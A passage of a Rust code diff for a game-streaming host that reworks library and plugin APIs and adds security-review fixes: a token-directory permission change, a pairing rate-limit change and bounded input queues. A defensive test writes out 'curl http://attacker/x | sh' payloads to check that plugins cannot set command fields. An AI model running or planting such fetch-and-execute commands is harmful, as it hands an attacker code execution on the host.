pub(crate) async fn update_custom_game(
Extension(lane): Extension<AuthLane>,
Path(id): Path<String>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
use crate::library::MutateOutcome;
match crate::library::update_custom(&id, input) {
Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
@@ -185,11 +249,6 @@ pub(crate) async fn update_custom_game(
StatusCode::CONFLICT,
&format!("entry is owned by provider `{p}` — update it through its reconcile"),
),
// Store claims are a reconcile-only concern — the manual CRUD never requests one.
Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
StatusCode::INTERNAL_SERVER_ERROR,
"unexpected claim outcome",
),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
}
}
@@ -221,11 +280,6 @@ pub(crate) async fn delete_custom_game(Path(id): Path<String>) -> Response {
"entry is owned by provider `{p}` — remove it there, or DELETE the provider set"
),
),
// Store claims are a reconcile-only concern — the manual CRUD never requests one.
Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
StatusCode::INTERNAL_SERVER_ERROR,
"unexpected claim outcome",
),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
}
}
@@ -237,13 +291,6 @@ pub(crate) struct ProviderRemoved {
removed: usize,
}
/// Query for `reconcileProviderEntries` — the optional store claim (D2).
#[derive(Deserialize)]
pub(crate) struct ReconcileQuery {
/// Claim this store for the provider, so its entries take the store's own identity.
store: Option<String>,
}
/// Replace a provider's library entries (declarative reconcile)
///
/// Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the
@@ -251,67 +298,52 @@ pub(crate) struct ReconcileQuery {
/// surviving title's host id stable across reconciles, drops orphans, and never touches manual
/// entries or other providers'. An empty array removes everything the provider owns. Emits
/// `library.changed` with the provider as `source`.
///
/// `?store=` additionally **claims** that store for the provider: its entries then surface with
/// deterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque
/// `custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner
/// used to produce, right down to the GameStream app ids and client-side art caches. One provider
/// per store; a second claimant gets 409. While a claim is held the matching built-in scanner is
/// suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty
/// reconcile (a store can legitimately have zero installed titles).
#[utoipa::path(
put,
path = "/library/provider/{provider}",
tag = "library",
operation_id = "reconcileProviderEntries",
params(
("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)"),
("store" = Option<String>, Query, description = "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)"),
),
params(("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)")),
request_body = Vec<crate::library::ProviderEntryInput>,
responses(
(status = OK, description = "The provider's resulting entries (host ids assigned/kept)", body = [crate::library::CustomEntry]),
(status = BAD_REQUEST, description = "Invalid provider id, store id, or payload", body = ApiError),
(status = BAD_REQUEST, description = "Invalid provider id or payload", body = ApiError),
(status = UNAUTHORIZED, description = "Missing or invalid bearer token", body = ApiError),
(status = CONFLICT, description = "That store is already claimed by another provider", body = ApiError),
(status = INTERNAL_SERVER_ERROR, description = "Could not persist the catalog", body = ApiError),
)
)]
pub(crate) async fn reconcile_provider_entries(
Extension(lane): Extension<AuthLane>,
Path(provider): Path<String>,
Query(q): Query<ReconcileQuery>,
ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
) -> Response {
if let Err(e) = crate::library::validate_provider_name(&provider) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
let store = q.store.filter(|s| !s.is_empty());
if let Some(store) = &store {
if let Err(e) = crate::library::validate_store_claim(store) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
}
if let Err(e) = crate::library::validate_provider_payload(&inputs) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) {
Ok(crate::library::MutateOutcome::Done(entries)) => {
// Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
// one privileged field anywhere in it is one command execution.
for (i, e) in inputs.iter().enumerate() {
if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
tracing::warn!(
provider,
index = i,
"library reconcile refused: payload carries a field this lane may not set"
);
return denied;
}
}
match crate::library::reconcile_provider(&provider, inputs) {
Ok(entries) => {
tracing::info!(
provider,
store = store.as_deref().unwrap_or("-"),
count = entries.len(),
"library provider reconciled"
);
Json(entries).into_response()
}
Ok(crate::library::MutateOutcome::StoreClaimed { store, provider }) => api_error(
StatusCode::CONFLICT,
&format!("store `{store}` is already claimed by provider `{provider}`"),
),
Ok(_) => api_error(
StatusCode::INTERNAL_SERVER_ERROR,
"unexpected reconcile outcome",
),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
}
}
@@ -351,12 +383,11 @@ pub(crate) async fn delete_provider_entries(Path(provider): Path<String>) -> Res
/// Fetch one cover-art image for a library entry
///
/// Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams
/// the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,
/// and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back
/// to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the
/// user's Steam client already shows for it), the public Steam CDN's flat URL convention second
/// (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case
/// this 404s and the client falls through to its next art candidate).
/// the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —
/// it's what the user's Steam client already shows for it), the public Steam CDN's flat URL
/// convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host
/// can't predict, in which case this 404s and the client falls through to its next art candidate).
/// Only Steam ids are backed today; any other store 404s.
#[utoipa::path(
get,
path = "/library/art/{id}/{kind}",
@@ -376,20 +407,7 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
let Some(kind) = crate::library::ArtKind::parse(&kind) else {
return api_error(StatusCode::NOT_FOUND, "unknown art kind");
};
// `library.json` FIRST, for ANY id (WP1.2). Stored entries — manual, provider-synced, and (once
// store claims land) a scanner plugin's `steam:570` — all serve their local art file from here,
// so the proxy never has to know which store an id belongs to. Steam ids aren't stored today, so
// this misses and the legacy branch below still answers them.
let stored = {
let id = id.clone();
tokio::task::spawn_blocking(move || crate::library::library_local_art_bytes(&id, kind))
.await
};
if let Ok(Some((bytes, ctype))) = stored {
return ([(header::CONTENT_TYPE, ctype)], bytes).into_response();
}
// Legacy in-host Steam scanner: local Steam cache, then the flat CDN URL. Retired with the
// scanner itself once the steam plugin claims the store (M6).
// Steam: CDN / local-cache proxy (id `steam:<appid>`).
if let Some(appid) = id
.strip_prefix("steam:")
.and_then(|s| s.parse::<u32>().ok())
@@ -403,5 +421,17 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
_ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
};
}
api_error(StatusCode::NOT_FOUND, "no art of that kind for this title")
// Custom/provider entry (id `custom:<id>`): serve its stored LOCAL art file — e.g. the Playnite
// plugin's covers, reconciled as on-host paths rather than inlined bytes.
if let Some(cid) = id.strip_prefix("custom:").map(str::to_owned) {
return match tokio::task::spawn_blocking(move || {
crate::library::custom_local_art_bytes(&cid, kind)
})
.await
{
Ok(Some((bytes, ctype))) => ([(header::CONTENT_TYPE, ctype)], bytes).into_response(),
_ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
};
}
api_error(StatusCode::NOT_FOUND, "no art proxy for this store")
}
+6 -71
View File
@@ -64,14 +64,6 @@ pub(crate) struct PluginRegistration {
/// entry only (e.g. a future runner-management listing) and grows no nav entry.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ui: Option<PluginUi>,
/// What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`
/// because it describes the plugin, not its surface. The console knows one value today —
/// `library` — which it filters **out of the nav**: six installed scanner plugins would otherwise
/// flood the sidebar, and their real entry point is the Game sources surface (design D5). A
/// library plugin that genuinely wants its own page (rom-manager, which is much more than a
/// scanner) simply omits the category.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub category: Option<String>,
}
/// One log line produced by the runner or a plugin inside it (`POST /plugins/logs`).
@@ -112,9 +104,6 @@ pub(crate) struct PluginSummary {
pub version: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub ui: Option<PluginUiPublic>,
/// The plugin's kind — see [`PluginRegistration::category`].
#[serde(skip_serializing_if = "Option::is_none")]
pub category: Option<String>,
}
/// `GET /plugins/{id}/ui-credential` — the console proxy's server-side lookup (bearer + loopback).
@@ -140,19 +129,14 @@ struct Stored {
title: String,
version: Option<String>,
ui: Option<StoredUi>,
category: Option<String>,
expires_at: Instant,
}
impl Stored {
/// Do the operator-visible fields match (ignoring the lease clock)? A pure lease renewal leaves
/// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon/
/// category) does.
fn public_eq(&self, v: &Valid) -> bool {
self.title == v.title
&& self.version == v.version
&& self.ui == v.ui
&& self.category == v.category
/// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon) does.
fn public_eq(&self, title: &str, version: &Option<String>, ui: &Option<StoredUi>) -> bool {
self.title == title && self.version == *version && self.ui == *ui
}
}
@@ -166,7 +150,6 @@ struct Valid {
title: String,
version: Option<String>,
ui: Option<StoredUi>,
category: Option<String>,
}
impl PluginRegistry {
@@ -184,7 +167,7 @@ impl PluginRegistry {
let mut map = self.inner.write().unwrap_or_else(|e| e.into_inner());
let changed = match map.get(id) {
// An *expired* prior entry counts as a change (it had stopped listing).
Some(prev) => !prev.is_live() || !prev.public_eq(&v),
Some(prev) => !prev.is_live() || !prev.public_eq(&v.title, &v.version, &v.ui),
None => true,
};
map.insert(
@@ -193,7 +176,6 @@ impl PluginRegistry {
title: v.title,
version: v.version,
ui: v.ui,
category: v.category,
expires_at,
},
);
@@ -225,7 +207,6 @@ impl PluginRegistry {
port: u.port,
icon: u.icon.clone(),
}),
category: s.category.clone(),
})
.collect();
live.sort_by(|a, b| a.title.cmp(&b.title).then_with(|| a.id.cmp(&b.id)));
@@ -352,31 +333,7 @@ fn validate(reg: PluginRegistration) -> Result<Valid, String> {
Some(u) => Some(validate_ui(u)?),
None => None,
};
// Categories are grouping keys the console switches on — a closed charset, but deliberately not
// a closed VOCABULARY: an unknown category is stored and simply matches no console rule, so a
// newer plugin registering against an older host degrades to "shows in the nav", never to a
// failed registration.
let category = match reg.category {
Some(c) => {
let ok = (1..=32).contains(&c.len())
&& c.starts_with(|ch: char| ch.is_ascii_lowercase())
&& c.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-');
if !ok {
return Err(
"category must be 132 chars of [a-z0-9-], starting with a letter".into(),
);
}
Some(c)
}
None => None,
};
Ok(Valid {
title,
version,
ui,
category,
})
Ok(Valid { title, version, ui })
}
fn validate_ui(u: PluginUi) -> Result<StoredUi, String> {
@@ -601,7 +558,6 @@ mod tests {
secret: secret.into(),
icon: Some("gamepad-2".into()),
}),
category: None,
}
}
@@ -628,30 +584,10 @@ mod tests {
title: "Ro\u{7}m\n".into(),
version: None,
ui: None,
category: None,
})
.unwrap();
assert_eq!(v.title, "Rom");
// Category charset (WP2.7): the console's one known value passes; the shapes that would
// break a grouping key don't. An UNKNOWN-but-well-formed category is accepted on purpose —
// a newer plugin must not fail to register against an older host.
let lib = |c: &str| PluginRegistration {
title: "X".into(),
version: None,
ui: None,
category: Some(c.into()),
};
assert_eq!(
validate(lib("library")).unwrap().category.as_deref(),
Some("library")
);
assert!(validate(lib("some-future-kind")).is_ok());
assert!(validate(lib("")).is_err());
assert!(validate(lib("Library")).is_err()); // no uppercase
assert!(validate(lib("9lives")).is_err()); // must start with a letter
assert!(validate(lib("lib_rary")).is_err()); // no underscore
assert!(validate(lib(&"a".repeat(33))).is_err()); // too long
// privileged port rejected
// privileged port rejected
assert!(validate(reg("x", 80, SECRET)).is_err());
// short secret rejected
assert!(validate(reg("x", 49321, "tooshort")).is_err());
@@ -705,7 +641,6 @@ mod tests {
title: "Headless".into(),
version: None,
ui: None,
category: None,
})
.unwrap(),
);
-10
View File
@@ -108,14 +108,6 @@ pub(crate) struct CatalogEntry {
/// A revocation covering the catalogued version — do not offer this without shouting.
#[serde(skip_serializing_if = "Option::is_none")]
pub blocked: Option<String>,
/// What kind of plugin this is — the console filters Browse by these, and the Game sources
/// surface's "Add a source" rail shows exactly the `library` ones (design D5/D6).
pub categories: Vec<String>,
/// Whether the launcher this plugin scans looks **installed on this host** (design D8), from the
/// index's own existence probes. `null` = the entry declares no probes for this platform, which
/// the console renders as "unknown" rather than "not installed".
#[serde(skip_serializing_if = "Option::is_none")]
pub detected: Option<bool>,
}
#[derive(Serialize, ToSchema)]
@@ -285,8 +277,6 @@ fn build_catalog(force: bool) -> CatalogResponse {
update_available: installed_version.as_deref().is_some_and(|v| v != e.version),
installed_version,
blocked: store::advisory_for(&e.pkg, Some(&e.version)).map(|a| a.reason),
categories: e.categories.clone(),
detected: e.detected(),
});
}
}
+291
View File
@@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() {
assert_eq!(status, StatusCode::BAD_REQUEST);
}
/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
///
/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
/// Those are the operator's authority, and the whole trust argument at their execution sites is that
/// a human typed them into the admin console.
#[tokio::test]
async fn plugin_lane_cannot_set_command_execution_fields() {
let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
axum::http::Request::builder()
.method(method)
.uri(path)
.header("content-type", "application/json")
.header("authorization", format!("Bearer {token}"))
.body(Body::from(body.to_string()))
.unwrap()
};
// The two shapes of the primitive, on the two routes that carry it.
let prep = serde_json::json!({
"title": "Pwned",
"prep": [{"do": "curl http://attacker/x | sh"}],
});
let command = serde_json::json!({
"title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
});
for (path, method) in [
("/api/v1/library/custom", "POST"),
("/api/v1/library/custom/some-id", "PUT"),
] {
for body in [&prep, &command] {
let (status, err) =
send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"plugin token must not set an executed field via {method} {path}"
);
assert!(
err["error"].as_str().unwrap().contains("host user"),
"the refusal should say why: {err}"
);
}
}
// The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
// first. A payload that hides the primitive behind a benign leading entry is still refused.
let sneaky = serde_json::json!([
{"external_id": "a", "title": "Innocent"},
{"external_id": "b", "title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
]);
let (status, _) = send(
&app,
as_lane(
"plugin-secret",
"PUT",
"/api/v1/library/provider/romm",
sneaky,
),
)
.await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"a privileged field anywhere in a reconcile payload must be refused"
);
// Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
// host config dir. The converse — that the operator's own lane may set these fields, and that a
// plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
// execution_only`, which needs no filesystem either.
assert!(
crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
"the operator's token is the lane these fields belong to"
);
assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
}
/// **Every route in the live table is explicitly classified for both non-admin lanes.**
///
/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
/// used to be a denylist, so a route added after the list was written was granted to the plugin
/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
/// ~1450 commits.
///
/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
/// classified. This test makes that classification a conscious, reviewed act rather than a silent
/// default in either direction — adding a route fails the build until its row is added here, and the
/// row is where a reviewer looks to ask "should a plugin really reach this?".
#[test]
fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
use axum::http::Method;
// (method, path template, plugin token may reach, paired streaming cert may reach).
// EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
const EXPECTED: &[(&str, &str, bool, bool)] = &[
// ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
("GET", "/api/v1/health", true, false), // always open, handled before either gate
("GET", "/api/v1/host", true, true),
("GET", "/api/v1/status", true, true),
("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
("GET", "/api/v1/compositors", true, true),
("GET", "/api/v1/events", true, false),
("GET", "/api/v1/logs", true, false),
// ---- paired-device rosters: readable by a plugin, never by another paired client, and
// removal is pairing administration in both lanes.
("GET", "/api/v1/clients", true, false),
("DELETE", "/api/v1/clients/{fingerprint}", false, false),
("GET", "/api/v1/native/clients", true, false),
(
"DELETE",
"/api/v1/native/clients/{fingerprint}",
false,
false,
),
// ---- pairing administration + PIN visibility: the operator's token alone.
("GET", "/api/v1/pair", false, false),
("POST", "/api/v1/pair/pin", false, false),
("GET", "/api/v1/native/pair", false, false),
("DELETE", "/api/v1/native/pair", false, false),
("POST", "/api/v1/native/pair/arm", false, false),
("GET", "/api/v1/native/pending", false, false),
("POST", "/api/v1/native/pending/{id}/approve", false, false),
("POST", "/api/v1/native/pending/{id}/deny", false, false),
// ---- GPU + display: host configuration, no privilege boundary.
("GET", "/api/v1/gpus", true, false),
("PUT", "/api/v1/gpus/preference", true, false),
("GET", "/api/v1/display/settings", true, false),
("PUT", "/api/v1/display/settings", true, false),
("GET", "/api/v1/display/state", true, false),
("GET", "/api/v1/display/monitors", true, false),
("PUT", "/api/v1/display/layout", true, false),
("POST", "/api/v1/display/release", true, false),
("GET", "/api/v1/display/presets", true, false),
("POST", "/api/v1/display/presets", true, false),
("PUT", "/api/v1/display/presets/{id}", true, false),
("DELETE", "/api/v1/display/presets/{id}", true, false),
// ---- session control.
("DELETE", "/api/v1/session", true, false),
("POST", "/api/v1/session/idr", true, false),
("GET", "/api/v1/session/settings", true, false),
("PUT", "/api/v1/session/settings", true, false),
("POST", "/api/v1/game/end", true, false),
// ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
// operator-privileged FIELDS inside those payloads are refused in the handler — see
// `plugin_lane_cannot_set_command_execution_fields`.
("GET", "/api/v1/library", true, true),
("GET", "/api/v1/library/art/{id}/{kind}", true, true),
("GET", "/api/v1/library/scanners", true, false),
("PUT", "/api/v1/library/scanners/{id}", true, false),
("POST", "/api/v1/library/custom", true, false),
("PUT", "/api/v1/library/custom/{id}", true, false),
("DELETE", "/api/v1/library/custom/{id}", true, false),
("PUT", "/api/v1/library/provider/{provider}", true, false),
("DELETE", "/api/v1/library/provider/{provider}", true, false),
// ---- stats.
("POST", "/api/v1/stats/capture/start", true, false),
("POST", "/api/v1/stats/capture/stop", true, false),
("GET", "/api/v1/stats/capture/status", true, false),
("GET", "/api/v1/stats/capture/live", true, false),
("GET", "/api/v1/stats/recordings", true, false),
("GET", "/api/v1/stats/recordings/{id}", true, false),
("DELETE", "/api/v1/stats/recordings/{id}", true, false),
// ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
("GET", "/api/v1/plugins", true, false),
("POST", "/api/v1/plugins/logs", true, false),
("PUT", "/api/v1/plugins/{id}", true, false),
("DELETE", "/api/v1/plugins/{id}", true, false),
("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
// ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
("GET", "/api/v1/hooks", false, false),
("PUT", "/api/v1/hooks", false, false),
// ---- the store: installing a plugin runs new code with operator privileges.
("GET", "/api/v1/store/catalog", false, false),
("POST", "/api/v1/store/refresh", false, false),
("GET", "/api/v1/store/installed", false, false),
("POST", "/api/v1/store/install", false, false),
("POST", "/api/v1/store/uninstall", false, false),
("GET", "/api/v1/store/jobs", false, false),
("GET", "/api/v1/store/jobs/{id}", false, false),
("GET", "/api/v1/store/sources", false, false),
("PUT", "/api/v1/store/sources/{name}", false, false),
("DELETE", "/api/v1/store/sources/{name}", false, false),
("GET", "/api/v1/store/runtime", false, false),
("POST", "/api/v1/store/runtime", false, false),
// ---- updates: `apply` runs an installer / the root helper.
("GET", "/api/v1/update/status", false, false),
("POST", "/api/v1/update/check", false, false),
("POST", "/api/v1/update/apply", false, false),
];
/// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
/// are exercised on the shape a real request has.
fn concrete(template: &str) -> String {
template
.split('/')
.map(|s| if s.starts_with('{') { "sample" } else { s })
.collect::<Vec<_>>()
.join("/")
}
let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
let mut live: Vec<(String, String)> = Vec::new();
for (path, ops) in doc["paths"].as_object().unwrap() {
for method in ops.as_object().unwrap().keys() {
if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
live.push((method.to_uppercase(), path.clone()));
}
}
}
// 1. Every LIVE route has a classification row. A new route fails here until it gets one.
for (method, path) in &live {
assert!(
EXPECTED
.iter()
.any(|(m, p, _, _)| m == method && p == path),
"route {method} {path} has no lane classification — add a row to EXPECTED in this test \
and decide, deliberately, whether the plugin token and a paired streaming cert may \
reach it"
);
}
// 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
for (method, path, _, _) in EXPECTED {
assert!(
live.iter().any(|(m, p)| m == method && p == path),
"EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
);
}
// 3. The gates agree with the classification, on both lanes.
for (method, path, plugin_ok, cert_ok) in EXPECTED {
let m = Method::from_bytes(method.as_bytes()).unwrap();
let concrete = concrete(path);
assert_eq!(
auth::plugin_may_access(&m, &concrete),
*plugin_ok,
"plugin lane: {method} {path} should be {}",
if *plugin_ok { "reachable" } else { "denied" }
);
assert_eq!(
auth::cert_may_access(&m, &concrete),
*cert_ok,
"cert lane: {method} {path} should be {}",
if *cert_ok { "reachable" } else { "denied" }
);
}
}
/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
#[test]
fn plugin_allowlist_matches_whole_segments_only() {
use axum::http::Method;
// The UI credential sits one segment below an allowed route and must stay denied.
assert!(auth::plugin_may_access(
&Method::PUT,
"/api/v1/plugins/rom-manager"
));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/plugins/rom-manager/ui-credential"
));
// A hypothetical future sub-route of an allowed route is denied until classified.
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library/secrets"
));
assert!(!auth::plugin_may_access(
&Method::POST,
"/api/v1/session/settings/x"
));
// Method matters: the roster is readable, its removal is not.
assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
assert!(!auth::plugin_may_access(
&Method::DELETE,
"/api/v1/clients/aabbcc"
));
// A path prefix that is not a segment prefix must not match at all.
assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library-secrets"
));
}
/// The OpenAPI document lists every route with a unique operationId (codegen relies
/// on both), and the checked-in copy is current.
#[test]
+8 -4
View File
@@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
return Ok(v.to_string());
}
}
let path = pf_paths::config_dir().join(file);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
// path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
// existing token out of a directory a local user could still write means adopting whatever they
// put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
// control plane, and it would be honoured for the life of the install.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let path = dir.join(file);
if let Ok(contents) = fs::read_to_string(&path) {
if let Some(tok) = parse_token(&contents, env_var) {
return Ok(tok);
@@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
let mut buf = [0u8; 32];
rand::thread_rng().fill_bytes(&mut buf);
let token = hex::encode(buf);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
write_token(&path, env_var, &token)?;
tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
Ok(token)
+59 -17
View File
@@ -817,6 +817,31 @@ async fn serve_session(
anyhow::bail!("pairing requires the client to present a certificate");
};
let client_fp_hex = fingerprint_hex(&client_fp);
// The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY
// outcome — including the rejections.
//
// It used to be charged only after `pin_for_attempt` returned a PIN, which made the two
// rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at
// unlimited rate at zero cost, learning the moment the operator opens a window and racing
// the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker
// one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited.
//
// The trade is deliberate: a peer spamming knocks can now hold the cooldown against the
// operator's real device. That is a visible, self-limiting nuisance — the operator retries
// — whereas the oracle was silent and gave away the window.
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
// Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any
// fingerprint binding.
let pin = match np.pin_for_attempt(&client_fp_hex) {
@@ -839,19 +864,6 @@ async fn serve_session(
)
}
};
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin)
.await
.map(|()| Served::Session);
@@ -1208,7 +1220,22 @@ async fn serve_session(
// channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button
// traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on
// whichever arrives.
let (input_tx, input_rx) = std::sync::mpsc::channel::<ClientInput>();
// BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded
// with `try_send` since security-review S6, and the three input planes had simply never been
// given the same treatment (2026-08-05 review M-3).
//
// The producer is one `read_datagram` loop that can push a message per datagram; the consumer
// handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The
// producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue
// the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a
// 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or
// any LAN peer under `--open`.
//
// Dropping is correct here in a way it would not be for a reliable stream: input is a
// real-time plane where a sample that cannot be delivered promptly is already stale — the
// freshest state wins, and the injector re-syncs from the next event.
const INPUT_QUEUE_DEPTH: usize = 1024;
let (input_tx, input_rx) = std::sync::mpsc::sync_channel::<ClientInput>(INPUT_QUEUE_DEPTH);
let rich_tx = input_tx.clone();
// The stream loop's handle into the same pipeline: it parks the seat pointer on the
// streamed surface (stream.rs `park_pointer`) through exactly the path client input takes.
@@ -1235,6 +1262,20 @@ async fn serve_session(
let input_conn = conn.clone();
tokio::spawn(async move {
let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64);
let mut dropped = 0u64;
// `try_send` on a full queue drops rather than blocking this loop — blocking here would
// stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input
// thread having gone away, which is the one condition that ends the loop.
let mut offer = |tx: &std::sync::mpsc::SyncSender<ClientInput>, item: ClientInput| match tx
.try_send(item)
{
Ok(()) => true,
Err(std::sync::mpsc::TrySendError::Full(_)) => {
dropped += 1;
true
}
Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false,
};
while let Ok(d) = input_conn.read_datagram().await {
if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) {
mic_count += 1;
@@ -1249,7 +1290,7 @@ async fn serve_session(
});
} else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) {
rich_count += 1;
if rich_tx.send(ClientInput::Rich(rich)).is_err() {
if !offer(&rich_tx, ClientInput::Rich(rich)) {
break;
}
} else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) {
@@ -1257,7 +1298,7 @@ async fn serve_session(
// design; see punktfunk_core::quic::pen). Routed to the same input thread,
// which owns the per-session tracker + virtual tablet.
rich_count += 1;
if rich_tx.send(ClientInput::Pen(pen)).is_err() {
if !offer(&rich_tx, ClientInput::Pen(pen)) {
break;
}
} else if let Some(mut ev) = InputEvent::decode(&d) {
@@ -1273,7 +1314,7 @@ async fn serve_session(
) {
ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK;
}
if input_tx.send(ClientInput::Event(ev)).is_err() {
if !offer(&input_tx, ClientInput::Event(ev)) {
break;
}
}
@@ -1282,6 +1323,7 @@ async fn serve_session(
input = input_count,
mic = mic_count,
rich = rich_count,
dropped,
"client datagram stream ended"
);
});
@@ -70,6 +70,15 @@ pub(super) async fn run(
// coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s).
